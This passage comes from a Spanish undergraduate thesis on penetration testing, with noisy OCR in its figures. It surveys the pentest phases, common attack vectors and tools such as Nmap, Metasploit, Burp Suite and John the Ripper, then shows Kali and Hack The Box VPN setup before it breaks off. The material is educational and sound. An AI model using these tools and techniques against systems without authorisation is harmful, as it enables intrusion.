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Resumen del Trabajo (maximo 250 palabras): Con la finalidad, contexto de
aplicacion, metodologia, resultados y conclusiones del trabajo.

Inmersos en plena era de transformacion digital, cada dia mas exponencial, la
ciberseguridad es un area indispensable para el correcto funcionamiento de
todos los elementos que prestan servicios consumidos durante las 24 horas,
los 365 dias del afo.

En este trabajo final de grado se muestra una simulacion de pentesting, una
técnica de auditoria de sistemas informaticos englobada dentro del area de la
ciberseguridad, con la finalidad de:

e descubrir potenciales brechas de seguridad
e realizar exploiting de las vulnerabilidades encontradas
e elaborar un informe con los hallazgos

e aportar una recomendacién de mitigacion

Se pretende con ello concienciar de la fragilidad que puede existir en los
sistemas comprendidos dentro de una infraestructura y del peligro para la
continuidad de negocio que ello conlleva.

Finalmente, se incluye una revision de los vectores de ataque mas comunes en
la actualidad, asi como una breve descripcion de las herramientas mas
utilizadas para llevar a cabo en pentesting.




Abstract (in English, 250 words or less):

Immersed into the digital transformation’s era, even more exponential every
day, cybersecurity is an essential area for the proper performance of all the
elements that provide services consumed 24 hours a day, 365 days a year.

This final thesis shows a pentesting simulation, a technique to audit computer
systems included into the cybersecurity area, in order to:

e discover potential security breaches
e exploit the vulnerabilities founded
e prepare a report with the findings

e provide a recommendation to mitigate

The aim is to raise awareness about the fragility that exist in the systems
located in an infrastructure and the business continuity’s hazard that this
entails.

Finally, a review of the most common attack vectors is included as well as a
brief description of the most commonly used pentesting tools.
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1. Introduccioén

1.1 Contexto y justificacion del Trabajo

Hoy en dia, recién iniciado el afio 2023, tanto en los medios de comunicacion
como en las RRSS (Redes Sociales) se publica recurrentemente un mismo tipo
de noticia: los ciberataques a empresas y organismos.

Estas noticias suelen pertenecer a un pequeiio sector de la industria, puesto
qgue lo que se vende al publico es la informacidn sobre grandes entidades, a las
que se le han encriptado datos sensibles, dejandolos inservibles, y/o se los han
sustraido, pero detras de esta informacion existe otra realidad y es que la gran
mayoria de la industria son PYME (Pequefia y Mediana Empresa) y de éstas
no suele hacerse eco.

Es por ello que se ha vuelto viral el exponencial incremento de ciberataques,
con punto de inflexibn y méas crudeza durante el inicio de la pandemia
provocada por el virus SARS-CoV-2 (Severe Acute Respiratory Syndrome
Coronavirus 2), cuando las empresas tuvieron que adaptarse a la situacién
rapidamente para facilitar la continuidad de negocio y, consecuentemente,
desplegar nuevas infraestructuras para facilitar la nueva realidad laboral; el
teletrabajo.

Este nuevo escenario provoco que los ciberdelincuentes se adaptaran también
a la nueva realidad y cambiaran de objetivos: tratar de vulnerar las nuevas
infraestructuras criticas desplegadas por las empresas para facilitar el trabajo
en remoto. [1]

Concretamente, en 2020 el organismo especializado en telecomunicaciones
UIT (Unién Internacional de Telecomunicaciones) publicé un informe detallando
un indice global de ciberseguridad donde Espafia se situ6 en el 4° lugar del
ranking de paises con mejor puntuacién en estos términos, tal y como muestra
la siguiente ilustracion: [2]

Country Name Score Rank
United States of America™ 100 1
United Kingdom 99.54

Saudi Arabia 99.54 2
Estonia 99.48 3
Korea (Rep. of) 98.52 4
Singapeore 28.52 4
Spain 28.52 4
Russian Federation 9B.04 5
United Arab Emirates 9B.04 5
Malaysia 98.06 5
Lithuania 97.93 &
Japan 97.82 7
Canada** 97.67 8
France 97.6 ?
India Rk 10

llustracién 1. Ranking global y puntuacién UIT en ciberseguridad



Desde el INCIBE (Instituto Nacional de Ciberseguridad) se reportaron 109.126
incidentes de ciberseguridad durante el afio 2021 [3], lo que hace patente la
importancia que tiene la ciberseguridad en la actualidad, tanto a nivel
empresarial como personal, y la necesidad de estar preparado para afrontar las
constantes amenazas que pretenden comprometer la integridad de los datos.

CIBERAMENAZA MAPA EN TIEMPO REAL = es

ESTADISTICAS ~ FUENTES DE INFORMACION  ZUMBIDO  WIDGET

ESPANA
# 13 EL PAIS MAS ATACADO

llustracion 2. Ciberamenazas en tiempo real Kaspersky© [4]

Fuera del plano empresarial, todos los habitantes existentes en el planeta, con
conexiéon al mundo digital, han sido victima de un ciberataque en alguna
ocasion, haya tenido impacto o no. En estos casos, las técnicas de ingenieria
social mas practicadas y recurrentes son: phishing, smishing y vishing. [5]

En la actualidad, se esta llevando a cabo una concienciacion global en &mbitos
de ciberseguridad, tanto en entorno empresarial como personal, dando
visibilidad a la problemética que puede acontecer en caso de ser vulnerados.

A nivel empresarial se estan asignando cada vez mas recursos para realizar
auditorias de seguridad a las infraestructuras y, adicionalmente, conformando
equipos especializados para contener los constantes ciberataques.

Con esta premisa, en el presente trabajo se pretende emular un ciberataque al
realizar un test de intrusion a un sistema informéatico para vulnerarlo llevando a
cabo diferentes técnicas. De este modo, se pondra de manifiesto la fragilidad
gue puede tener un sistema dentro de una infraestructura cuando se consigue
acceder de forma ilicita a todo un entorno, pudiendo posteriormente realizar
acciones maliciosas.

Finalmente, en un pentesting real, tras la realizacion del test de intrusién se
elabora un informe con las evidencias, mostrando las acciones llevadas a cabo
y una recomendacién de mitigacion, asi como un seguido de best practices.



1.2 Objetivos del Trabajo

Los objetivos que se definen en este TFG (Trabajo Fin de Grado) son los
siguientes:

e Concienciar de la exposicion de los sistemas informaticos a ser
vulnerados y la importancia de que estos sean seguros y robustos.

e Revisar los diferentes tipos de vulnerabilidades existentes mas
conocidas y facilitar repositorio para blusqueda de éstas.

¢ Definir la metodologia de trabajo describiendo cada uno de los pasos
a seguir para desarrollar el test de intrusion en sistemas informaticos.

e Ejemplificar un test de intrusion en un sistema informético.

e Facilitar un seguido de best practices para dotar de seguridad a un
entorno.

1.3 Enfoque y método seguido

Se llevara a cabo una extensa busqueda para recopilar informacién sobre la
tipologia de ciberataque mas recurrente en los Ultimos tiempos y se
ejemplificara el test de intrusion acorde a la informacién obtenida.

Posteriormente, en funcion del tipo de vulnerabilidad que se detecte en el
sistema, se estudiara y expondra qué herramientas y/o servicios pueden
facilitar las labores de exploiting para alcanzar el objetivo propuesto.

En la actualidad, existen tres tipos de metodologias diferenciadas a la hora de
llevar a cabo un test de intrusion a sistemas informaticos.

A continuacion, se detallan las caracteristicas de cada uno de ellos: [6]

e Caja blanca o White box: la persona que lleva a cabo el test de
intrusion conoce la totalidad de informacién sobre el entorno en el
que se va a realizar el test; la arquitectura de red, los sistemas
operativos que la componen, direcciones IP, contrasefas, etc.

e Caja gris 0 Grey box: la persona que lleva a cabo el test de intrusion
conoce cierta informacion sobre el entorno en el que se va a realizar
el test; la arquitectura de red, los sistemas operativos que la
componen, direcciones IP, contrasefas, etc.

e Caja negra o Black box: la persona que lleva a cabo el test de
intrusion no conoce ningun dato o dispone de informaciéon muy
basica, como por ejemplo una direccion IP, sobre el entorno objetivo.



Para el desarrollo de este TFG, la metodologia a seguir sera la de black box,
pues Unicamente se dispone de la direccion IP del sistema informatico objetivo
a vulnerar y sobre éste se ejecutaran las pruebas necesarias.

Esta metodologia es la ideal para llevar a cabo un pentesting en un entorno
real, puesto que emularemos a un ciberdelincuente cuyo propésito es recopilar
toda la informacién necesaria, vulnerar el sistema informatico y, finalmente,
realizar la escalada de privilegios y ganar el control del sistema.

1.4 Planificacion del Trabajo

Se expone el plan de trabajo elaborado con un diagrama de Gantt:

TFG: Realizacién de test de intrusién en sistemas informaticos

llustracién 3. Diagrama Gantt TFG

El TFG se compone de 3 bloques diferenciados donde se trata la parte teodrica,
la parte practica y la culminacion de la memoria. Tanto el glosario como la
bibliografia se realiza transversalmente durante el transcurso de todo el trabajo.

Esta segmentacion se ha realizado acorde a los entregables solicitados en el
plan docente del TFG.

1.5 Breve sumario de productos obtenidos

Los productos obtenidos en este trabajo seran los siguientes:

e Memoria del TFG, que se ira redactando durante el transcurso del
mismo, elaborando la maquetacion final en las Ultimas 2 semanas
antes de la fecha final de entrega del trabajo.

e Ejemplificacion de un informe final tras un test de intrusion llevado a
cabo en un sistema informético, ademas de un seguido de best

practices para la prevencion de riesgos en ciberseguridad.

e Presentacion en Power Point del TFG donde se expondra una vision
global de los hitos mas relevantes llevados a cabo durante el trabajo.



1.6 Breve descripcion de los otros capitulos de la memoria

Los capitulos comprendidos en el presente documento son:

e Pentesting: en este capitulo se describe en qué consiste esta técnica.

O

Vectores de ataque: se enumeran los atagues mas comunes.
Vulnerabilidades exploiting: se exponen repositorios.

Herramientas comunes de pentesting: se introducen los servicios
y herramientas mas comunes para ejecutar pentesting:

= Kali Linux: distribucién Linux disefiada para pentesting

= Nmap: analizador de red, puertos y servicios

= Metasploit: herramienta para analizar y ejecutar exploits

* Nessus: analizador de vulnerabilidades

= Burp Suite: herramienta de pentesting para webs

» Wireshark: esnifador y analizador de trafico

= John The Ripper: herramienta para crackear contrasefas
= Wappalyzer: analizador web de tecnologias

= Shodan: analizador de red, puertos y servicios online

» Pentest-Tool: analizador de red, puertos y servicios online

= WPScan: herramienta para auditar webs WordPress

e Test de intrusion en sistema informatico: ejecucion del pentesting:

o

o

Preparacion entorno: instalacion de herramientas necesarias
Recopilacion de datos: analisis de redes, puertos y servicios
Andlisis de vulnerabilidades: estudio previo para entrar al sistema
Exploiting: ejecucion de técnicas para acceder al sistema objetivo
Post-exploiting: elevacion de permisos para ser root del sistema
Informe final: documentacién del pentesting y resultado obtenido

Best practices: recomendaciones en ciberseguridad



2. Pentesting

Se denomina pentesting o test de intrusién al conjunto de tareas que se
desarrollan en un sistema informatico con la finalidad de vulnerarlo y ganar
acceso. Todo ello se realiza en un entorno controlado y con un alcance definido
previamente con la organizacién donde transcurre éste.

Las diferentes fases que componen un pentesting son: [7]

e Recopilacion de datos: es la fase inicial de todo pentesting donde se
recopila la maxima informacion posible del sistema a vulnerar. En
esta fase se verifica qué puertos del sistema estan abiertos, y los
servicios corriendo en ellos, para tratar de acceder a través de estos.

e Andlisis de vulnerabilidades: tras recopilar toda la informacion
necesaria sobre el sistema objetivo se realizara una busqueda de
alguna posible CVE (Common Vulnerabilites and Exposures) del que
pueda verse afectado y facilite el posterior exploiting.

e Exploiting: en este punto, el pentester que lleva a cabo el test de
intrusion tratard de ganar acceso al sistema informatico objetivo
mediante distintos ataques y/o ejecutando las técnicas adecuadas
acorde a las vulnerabilidades detectadas previamente.

e Post-exploiting: tras ganar acceso al sistema informético objetivo se
llevan a cabo acciones adicionales para tratar de conseguir una
elevacion de privilegios y, de este modo, lograr el control del sistema.

e Informe final: una vez finalizadas las pruebas de intrusién, se redacta
un informe enumerando las vulnerabilidades existentes en el sistema
objetivo, aportando evidencias del proceso llevado a cabo, ademas
de una seccién de mitigaciones para subsanar las vulnerabilidades
encontradas, asi como un seguido de best practices.

Andlisis de Escalar Privilegios
Vulnerabilidades o Post-Explotacién

&0 Do 4 A
o Reconocimiento e Explotacion e Informe

llustracién 4. Fases del pentesting



La préactica de pentesting aporta valor a las organizaciones, puesto que:

e Ayuda a verificar las capacidades de la infraestructura, en términos
de ciberseguridad, al descubrir posibles vulnerabilidades existentes
de las que podrian hacer uso malicioso ciberdelincuentes.

e Aportan informacién valiosa que puede ser utilizada para definir
planes de accién preventivos y/o correctivos.

e Facilita la continuidad de negocio, ya que una infraestructura exenta
de vulnerabilidades otorga resiliencia, tolerancia y transparencia a
fallos.

2.1 Vectores de ataque

Cuando se trata de proteger una infraestructura ante ciberataques se debe
tener especial cuidado en no exponer un recurso interno a internet que no haya
sido evaluado a consciencia y minuciosamente, ya que este sera el punto mas
fragil y la puerta de entrada al entorno corporativo.

Existe un largo listado de técnicas que los ciberdelincuentes pueden llevar a
cabo para facilitarles el acceso remoto a las infraestructuras.

La corporacién sin animo de lucro MITRE confeccioné una matriz en la que
categoriza los diferentes vectores de ataques existentes en la actualidad,
denominada como ATT&CK (Adversarial Tactics, Techniques, and Common
Knowledge).

Segun éstos, actualmente existen un total de 14 tipos de tacticas, compuestas
por 224 técnicas para vulnerar los sistemas, tal y como queda reflejado en la
matriz de la siguiente ilustracion: [8]

MITRE | ATT&CK' Matrices  Tactics -  Techniques ~  DataSources  Mitigations -~ Groups  Software  Campaigns  Resources ~  Blog (' c:mnu‘s«ur:no,

e, B

llustracién 5. Vectorés de ataque fegistrados en la matriz MITRE ATT&CK



El marco MITRE ATT&CK se ha impulsado como la base de conocimientos
mas extendida y en la que los equipos de seguridad se apoyan para evaluar la
posicion de la infraestructura frente a los ataques de ciberdelincuentes.

Segun INCIBE, los vectores de ataques mas frecuentes actualmente son: [9]
e Correo electronico y mensajeria instantanea

Phishing, smishing, vishing son las técnicas de ingeniera social
utilizadas para la sustraccion de datos personales de los usuarios, ya
sea directamente del propio usuario o con documentos maliciosos,
con el fin de suplantar su identidad y obtener acceso a los entornos
corporativos y/o personales.

e Navegacion web

Navegadores no actualizados con vulnerabilidades reconocidas o
instalacion de plugins de dudosa procedencia en éstos, frontales web
fake que suplantan al real para robar credenciales, paginas en las
gue se descargan ficheros malware.

e Endpoints

Los dispositivos carentes de seguridad, con configuracion por defecto
y con acceso a la infraestructura desde dénde se propaga el malware
al resto de equipos de la red a la que pertenecen.

e Aplicaciones web, portales corporativos, intranets y RRSS

Frontales web con un mal disefio en su estructura y gran cantidad de
informacion de la empresa expuesta al exterior facilitan informacién
valiosa a los ciberdelincuentes para atacar a personas especificas de
la empresa.

e Software mal configurado desactualizado o no parcheado

La falta de actualizacion del software de los equipos de red o de los
sistemas informéticos puede exponer el sistema a vulnerabilidades
gue puedan ser explotadas por ciberdelincuentes para ganar acceso
al sistema a traves de ésta

Es de vital importancia revisar periodicamente el software instalado
en los equipos para verificar que no sea vulnerable.

e Credenciales de usuario comprometidas
Sustraccion de credenciales mediante ingenieria social, plugins de

terceros, ataques por fuerza bruta o redes inalambricas abiertas con
cifrado de datos obsoleto pueden facilitar acceso remoto al sistema.



e Contrasefnas y credenciales predecibles o por defecto

El uso de contrasefias débiles y tipicas, o las que estan configuradas
en un sistema por defecto, son potenciales vias de entrada faciles a
las infraestructuras, ya que el ciberdelincuente puede hacer un primer
barrido de acceso con estas contrasefias comunes.

e Inisders
Usuarios sobornados por ciberdelincuentes o insatisfechos por su
posicion dentro de la empresa, asi como exusuarios que exponen
datos sensibles por despecho.

e Carencias del cifrado

Documentos encriptados con cifrados obsoletos y/o débiles que
ponen en riesgo el contenido en éstos.

e Acceso por terceros
Acceso a través de proveedores y/o empresas colaboradoras que

han sido vulneradas y con las que existe un enlace de acceso entre
ambas infraestructuras.

VECTORES DE ATAQU>

Correo o SMS. Phishing o smishing con robo
de contrasefas/ credenciales. Malware.

Navegacién web.
Endpoints, terminales y dispositivos IoT.

Aplicacién web, portales corporativos, app o
intranet y redes sociales.

Sistemas y elementos de red.
Contrasefias comprometidas.

Uso de contrasefias débiles o por defecto.
Ingider o enemigo interno / sobornos.
Carenclas del cifrado.

Cadena de suministro.

-

Formacldn y sensibilizaclén.
Politicas de uso permitido.
Acuerdos de confldenclalidad y ANS.

Identificar responsables de seguridad de
servicios.

Inventario de activos y vulnerabilidades.
Auditoria,

Andlisis de riesgos.
Politlca de actualizaclones
Proteger las comunicaciones y la wifl.

Monitorizar los accesos para detectar
intrusiones.

Gestionar los permisos de acceso. Doble
factor de autenticacién. Procedimientos
cambio de contrasefias.

J

QHDVH and?

llustracién 6. Vectores de ataques mas frecuentes segin INCIBE

Todos estos vectores de ataque tienen un elemento comun: el usuario. Ya sea
porque se ha facilitado acceso directa o indirectamente, debido a la exposicién
de contrasefias 0 sistemas vulnerables, la concienciacion de los usuarios a
llevar a cabo una buena praxis en términos de seguridad se convierte en un
hito basico en una era cada vez mas digitalizada.



2.2 Vulnerabilidades exploiting

En la actualidad, existe un gran listado de vulnerabilidades detectadas que se
pueden encontrar catalogadas en la plataforma de CVE® [10], donde en la
actualidad se muestran un total de 190.595 vulnerabilidades.

Dentro de esta plataforma se puede consultar la vulnerabilidad que se requiera
a través de su buscador y verificar de qué trata y qué sistema y/o servicio se
encuentra afectado por esta referencia.
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vices prejects

Se trata de una plataforma abierta y accesible para todo el publico, por lo que
cualquier persona puede consultar el listado de las vulnerabilidades existentes
e incluso reportar una nueva si se diera el caso de detectarla.

Se trata de una gran base de datos con enlaces dénde se referencia la
vulnerabilidad hallada y la implicacién que éstas tienen sobre los sistemas, asi
como la explicacion para solventar dicho fallo que suele ser actualizando la
version del software y/o servicio. ElI hecho de disponer de este tipo de
plataforma facilita tanto la identificacion de vulnerabilidades como la solucién
de éstas.

Adicionalmente, se puede recurrir a las webs de soporte del propio fabricante
del software para verificar las posibles vulnerabilidades en los equipos de éste
desplegados dentro de la infraestructura.

Por ejemplo, la web de seguridad de Palo Alto Networks® tiene su propio
buscador interno donde se pueden buscar vulnerabilidades segun los filtros que
se requieran e indica en qué versiones solventan la vulnerabilidad. Un ejemplo
de filtrado de vulnerabilidades criticas se expone en el siguiente enlace:
https://security.paloaltonetworks.com/?severity=CRITICAL&sort=-date

Es una buena practica revisar regularmente si existe alguna vulnerabilidad en
la infraestructura, por lo que disponer todo equipamiento y servicio identificado
en una CMDB (Configuration Management DataBase) es un plus a la hora de
mantener una mayor prestacién en términos de seguridad.
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2.3 Herramientas comunes de pentesting

En este apartado se enumeran, y definen brevemente, las herramientas mas
comunes para analizar y realizar pentesting a un sistema informético. [11]

2.3.1 Kali Linux

Kali Linux no se trata de una herramienta como tal si no de una distribucion
Linux de codigo abierto, basada en Debian, que incluye instaladas una gran
cantidad de herramientas de seguridad informatica.

Durante el test de intrusion de este TFG se hara uso de una OVA (Open Virtual
Appliance) de 64-bits descargada del repositorio de la propia web de Kali Linux
(https://www.kali.org/get-kali/#kali-virtual-machines) que se ejecutara sobre un
entorno de virtualizacion VirtualBox de Oracle.

2.3.2 Nmap

NMAP (Network Mapper) es la herramienta por excelencia de la primera fase
de reconocimiento y recopilacion de datos de sistemas informaticos, fase en la
que se realiza descubrimiento del sistema objetivo y se analizan los puertos
abiertos para, posteriormente, verificar si el servicio que corre en éste puede
ser vulnerado. [12]

Se trata de una herramienta basica, de las mas utilizadas, que permite ejecutar
una gran variedad de técnicas para el andlisis de los sistemas segun las
necesidades u objetivos que se marque la persona que ejecuta el pentesting;
en mayor o menor profundidad, mas o menos agresivo y/o sigiloso, etc.

En el siguiente ejemplo, se ejecuta un escaneo para analizar los puertos 80 y
443 (-p80,443) de la pagina web de UOC (Universitat Oberta de Catalunya),
gue corresponden a los servicios HTTP (Hypertext Transfer Protocol) y HTTPS
(Hypertext Transfer Protocol Secure).

Adicionalmente, se lanza el andlisis sin realizar ping (-Pn), verificando la
version del servicio (-sSV), ademas de no finalizar conexion TCP (Transmission
Control Protocol) mediante el three-way handshake.

Starting E 7. E r -11-905 19:4@ EDT
Nmap sca

loudFront httpd
open ssl/http Ama loudFront httpd

detection performed. Please report any ct results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in econds

llustracién 8. Comando NMAP
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2.3.3 Metasploit

Metasploit es un proyecto de seguridad informética open source que contiene
la herramienta Metasploit Framework, la cual contempla distintos modulos muy
interesantes dentro de su arquitectura para utilizar durante un pentesting.

Uno de estos modulos es exploits, probablemente el que le caracteriza, en el
gue existe un largo listado de éstos, ejecutables durante la fase de exploiting
segun la vulnerabilidad detectada en la fase de andlisis de vulnerabilidades.

android/ad
android/bri

options

llustracién 9. Listado de exploits de Metasploit Framework

Destaca también el modulo Auxilary que permite hacer uso de herramientas
externas dentro de su propia ejecucién, como por ejemplo Nmap, por lo que es
un software muy potente y completo para llevar a cabo tests de intrusion.

; INTERFACES

Consocle

'|' CLI
MSF |

C‘..‘"'._re Web

MSFEF

Base
p
|
MODULES

PLUGINS

Payloads Exploits Encoders Nops

llustracién 10. Arquitectura Metasploit Framework
Ademas de estos modulos, también es capaz de detectar que vulnerabilidad

publicada en el CVE afecta al sistema obijetivo y facilita qué exploit del listado
gue dispone es capaz de aprovechar dicha vulnerabilidad. [13]
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2.3.4 Nessus

Nessus se trata de un software que permite lanzar distintos tipos de escaneos
de red para detectar vulnerabilidades y cuya principal funcionalidad radica en
reconocer el sistema operativo y reportar: no permite ejecutar exploits.

Esta herramienta facilita una gran variedad de plantillas preconfiguradas para
lanzar distintos tipos de escaneos en funcion del tipo de auditoria que se quiera
ejecutar para analizar la infraestructura.

Una vez finalizado el escaneo, confecciona una lista con las vulnerabilidades
detectadas y facilita un informe con los datos mas relevantes sobre éstas,
ademas de categorizarlas en funcion de su criticidad. [14]

2.3.5 Burp Suite

Burp Suite es una herramienta que permite ejecutar pruebas de seguridad en
aplicaciones web y determinar la existencia de vulnerabilidades.

La funcién principal de esta herramienta es la de proxy HTTP, intercediendo las
comunicaciones entre el navegador del pentester y la aplicacién del servidor
destino, facilitando la inspeccion en las respuestas de la aplicacion.

https://...

GET/my account Host:...

=
4}

C—— > ooo —_—
00110001101 10011100110 [:::] -
@ 11101000111 00011001110

Website

Browser

Burp Suite

llustracién 11. Burp Suite proxy HTTP

Con esta herramienta se pueden modificar y reenviar solicitudes al servidor
destino para comprobar el comportamiento que presenta y, de este modo,
detectar posibles vulnerabilidades para lograr acceder al servidor objetivo.

Al poder inspeccionar las solicitudes y modificarlas, esta herramienta permite

determinar si la aplicacion es vulnerable a ataques de SQLi (SQL Injection) o
XSS (Cross-Site Scripting). [15]
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2.3.6 Wireshark

Wireshark, el analizador de paquetes por excelencia, permite inspeccionar en
profundidad los paquetes que cursan un sistema informatico mediante las
cabeceras que contienen estos, asi como también esnifar trafico de red.

Time Source. Destnation Protocol Length Info

2438 2.550530 192.168.1.131  52.84.66.93 T 66 54255 » 443 [SVN] Seq= Win=64248 Len=0 MSS-1460 LS=256 SACK PERM
2439 2.573194 52.84.66.93 192.168.1.131 TP 66 443 > 54255 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1440 SACK_PERM l5=512

2440 2.573230 192.168.1.131  52.54.66.93 TcP 54 54255 -+ 443 [ACK] Seq=1 Ack=1 Win=132352 Len-8

2441 2.573455 192.168.1.131  52.84.66.93 Tisviz 571 Client Hello

2442 2.587354 52.84.66.93 192.168.1.131  TCP 60 443 ~

2443 2.587354 52.64.66.93 192.168.1.131 TLSvi.3 1434 Server tie| M Wireshark - Flow - Wi-Fi - O
2444 2.587354 52.84.66.93 192.168.1.131 TP 1492 243 > 542

2445 2.587354 52.84.66.93 192.168.1.131  TCP 1494 443 » 542 102.168.1.131

2446 2.587382 192.168.1.131  52.84.66.93 TP 54 54255 + 4 Intervalo 52.84.66.93

2447 2.589396 52.84.66.93 192.168.1.131  TLSVL.3 697 Applicatil

2445 2.589411 192.168.1.131  52.54.66.93 TP 5454255 » 4| 2.559530 EEEE S S

2449 2.590867 192.168.1.131  52.84.66.93 TLSvL.3 118 Change Ci| 5 573104

ire (4568 bits), 571 bytes captured (4568 bits) on interface \Devid  2,573230
33:85:60 (c8:09:a8:33:85:60), Dst: rte_ff:6f:31 (ec:fo:fe:ff:6f:31
, Sre: 192.168.1.131, Dst: 52.84.66.93

otocol, Sre Port: 54255, Dst Port: 443, Seq: 1, Ack: 1, Len: 517 2.587354

2573455

v Mgonsp 2.587354
Vv TiSvi.3 Record ndshake Protocol: Client Hello
Content Type: ake 2587354
Version: TLS 1.6 (oxa3e1) 2.587354
Length: 512
~ Handshake Protocol: Client Hello 2.587382
Handshake Type: Client Hello (1) 2.589396
Length: 508 2580411
TS 1.2 (exe363)
7898b4e527668851892Fd351c" @b1fcf5adel 2590867
ID Length: 32 2.591000
98d6cc64besp1181adedbea33167a7555ebede fda9324ce f422011942268385 2591180
2.591180
2.501180
» 2.603822
X ed (GREASE) (len=e) 2.603822
v oExt e (len=16)
2.603822
2.603822
v
2.603822
2.603853

s
s
s
ser:

ver Name: wiw.uoc. ed

llustracién 12. Cabecera TLS y gréfica de flujo en Wireshark

Se trata de una de las herramientas de uso mas extendido, y de las mas
conocidas por la comunidad TI (Tecnologias de la Informacién), la cual permite
realizar analisis de paquetes en profundidad para resolucion de incidencias,
auditorias de seguridad y desarrollo de software. [16]

2.3.7 John The Ripper

John The Ripper es una herramienta que permite comprobar la robustez de
contrasefas ya que su principal funcionalidad es tratar de vulnerarlas mediante
ataques de fuerza bruta, siendo capaz de detectar de forma automatica el hash
de la contrasefia que se quiere crackear. [17]

El proceso de crackeo consiste en generar el hash de cada una de las
contraseflas generadas, o precargadas de un diccionario descargado vy
referenciado al ejecutar el comando, y la herramienta lo compara con el hash
de la contrasefia a vulnerar. En caso de que ambos coinciden, significa que se
ha encontrado la contrasefia y, en caso negativo, continda realizando intentos
para tratar de hallar el mismo hash (algoritmo).

Este software permite customizar la combinatoria de caracteres para tratar de
crackear la contrasefia, pudiendo indicar el rango de letras, niameros o
simbolos que se quieren incluir para confeccionar las contrasefias, incluso
definiendo directrices para indicar de qué modo deben crearse las variaciones.
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2.3.8 Wappalyzer

Wappalyzer es una herramienta open source capaz de detectar tecnologias y/o
plataformas que estan utilizandose en una aplicacion web. Se puede ejecutar
tanto por CLI (Command-Line Interface) como por una extension de navegador.

K Campus UOC

C m@

Uoc Universitat Oberta

de Catalunya

TECHNOLOGIES MORE INFO
Aulas EZF::;:%‘ Tramites Analytics

e

L. Miscellaneous
= jAtencién!
1 . HTTP/2 g Ar
Actualmente, se pueden actualizar los contador

solo hay que presionar la tecla F5). Proximamenty
Cookie compliance

81.625 TFG - Administracionde & &
redes y sistemas operatives
aula2

llustracién 13. Anélisis Cmus UOC con extension Wappalyzer

Esta herramienta puede ser customizada y crear alertas para reportar cambios
en la configuracion de un sitio web al ser actualizada, ademas de ser capaz de
verificar direcciones de correo para evitar correos que vayan a ser rejectados,
spams y webs de registros falsos. [18]

2.3.9 Shodan

Shodan es una herramienta online que realiza escaneos de webs y/o IPs y
facilita un seguido de informacién para verificar las caracteristicas del sistema
objetivo, asi como CVEs asociados a las vulnerabilidades encontradas. [19]

>dan T— ore
’.‘ SHODAN Explore Pricing & www.uoc.edu n

i View Report 00 View on Map

1 8 New Service: Keep track of what you have connected to the Internet. Check out Shodan Menitor

Redirigeix [/

80 1 ©) SSL Certificate
o Issued By

443 7 o - Comvan Name

Am
‘Amazon Data Services Ireland Limited 14

Issus =tfbjeeajarrnofoiigagatigtu; path=/
Amazon Technologies Inc. 2 e | = + Ty, 19 Hov 1981 68152,
Amazon.com, Inc. 2

Suppo fersions:

TLSV1, TLSv1.1, TLSV1.2
AWS ELB 15
Apache hitpd 3

llustracién 14. Analisis www.uoc.edu en Shodan

15


http://www.uoc.edu/

2.3.10 Pentest-Tools

Pentest-tool es una herramienta online que realiza comprobacion de URLs
(Uniform Resource Locator) y/o IPs e informa, por criticidad, si el sistema
analizado pudiera ser vulnerable a algun tipo de vector de ataque, seguido de
una recomendacion para mitigarlo. [20]

- Findings v EXPANDALL A COLLAPSE ALL

FILTER BY RISK LEVEL

All (19) High (0) Medium (0] Low (8) @ Info (1)

Missing security header: X-XSS-Protection  Confirmed

URL EVIDENCE
https://www.uoc.edu Response headers do not include the HTTP X-XSS-Protection security header

Risk description

The "X-XSS-Protection” HTTP header inst

attacks. Lack of this header exposes application us

Recommendation

Missing security header: X-Frame-Options Confirmed

URL EVIDENCE

https://www.uoc.edu Response headers do not include the HTTP X-Frame-Options security header

Risk description

llustracién 15. Analisis www.uoc.edu en Pentest-Tools

2.3.11 WPScan

WPScan es una herramienta gratuita que sirve para auditar y comprobar la
seguridad de webs WordPress obteniendo un largo listado de informacion
valiosa para poder utilizar en la fase de exploiting.

Actualmente, esta herramienta dispone de un total de 38.042 vulnerabilidades
detectadas y catalogadas en su web, por lo que, como se comentd
anteriormente con Palo Alto Networks®, WPScan también dispone de un
apartado en el que se pueden verificar las vulnerabilidades existentes segun la
version que esta instalada.

Adicionalmente, es capaz de utilizar ataques de fuerza bruta referenciando un
fichero con listado de contrasefias, tal y como hace la herramienta John the

Ripper. [21]
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3. Test de intrusion en sistema informatico

En este apartado se desarrolla la parte practica del proyecto, segmentando por
subcapitulos las diferentes fases existentes a lo largo de un pentesting.

Durante el transcurso del test se ejecutaran diferentes técnicas para alcanzar el
objetivo de acceder remotamente al sistema informatico remoto tras vulnerarlo.

3.1 Preparacion entorno

Antes de comenzar el pentesting, se procede a descargar una OVA de Kali
Linux del repositorio https://www.kali.org/get-kali/#kali-virtual-machines. Se
escoge puesto que contiene un gran pool de aplicaciones preinstaladas validas
para realizar tests de seguridad.

Con el software VirtualBox se virtualiza el sistema descargado y, una vez
accesible, se finaliza esta breve introduccion al entorno de trabajo con la
creacion de un usuario con el nombre de usuario nominal en la UOC mediante
el comando useradd <user_UOC> -s /bin/bash:

File Actions Edit View Help
kali

fetc/shadow

yngorab /bin/bash

Jetc/shadow
119301:0:99999:

llustracién 16. Creacion de usuario en Kali Linux

Paralelamente, se realiza el registro en la plataforma publica actualmente mas
utilizada para realizar pruebas de pentesting, HTB (Hack The Box), desde
donde se desarrolla el test de intrusion en alguno de los sistemas informaticos
habilitados para tal proposito. [22]

Una vez registrado, se realiza la conexion al entorno mediante cliente VPN
(Virtual Private Network), en este caso la plataforma ofrece acceso mediante
OpenVPN o mediante Pwnbox, este ultimo para el sistema Linux Parrot OS.

Para comenzar el pentesting, se descarga el fichero lab_<usuario>.ovpn desde
la opcion OpenVPN del frontal web de HTB. En éste se definen parametros
para establecer el tinel VPN de forma segura; URL remota, puerto, métodos de
encriptacion, clave privada y certificado SSL (Secure Socket Layer).
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it sgongorab@kali: ~/Dewnloads

File Actions Edit View Help

- ~/Downloads
gongorab.ovpn |more

nobind
persist-key
persist-tun

llustracién 17. Configuracion fichero OpenVPN

Se inicia el servicio OpenVPN para tener acceso a los sistemas virtualizados,
ejecutando el comando sudo openvpn lab_sgongorab.ovpn y se verifica que
se obtiene direccionamiento privado del entorno, interfaz tun0: 10.10.14.251.

;. sgongorab@kali: ~

File Actions Edit View Help

erruns @
@ B)
rruns @ carrier ® collisions @

o
1=

tun@: f - UP, POINTOPOINT,RUNNING, NOARP

6

(s3]

txqueuelen 500 (UNSPEC)

<T )

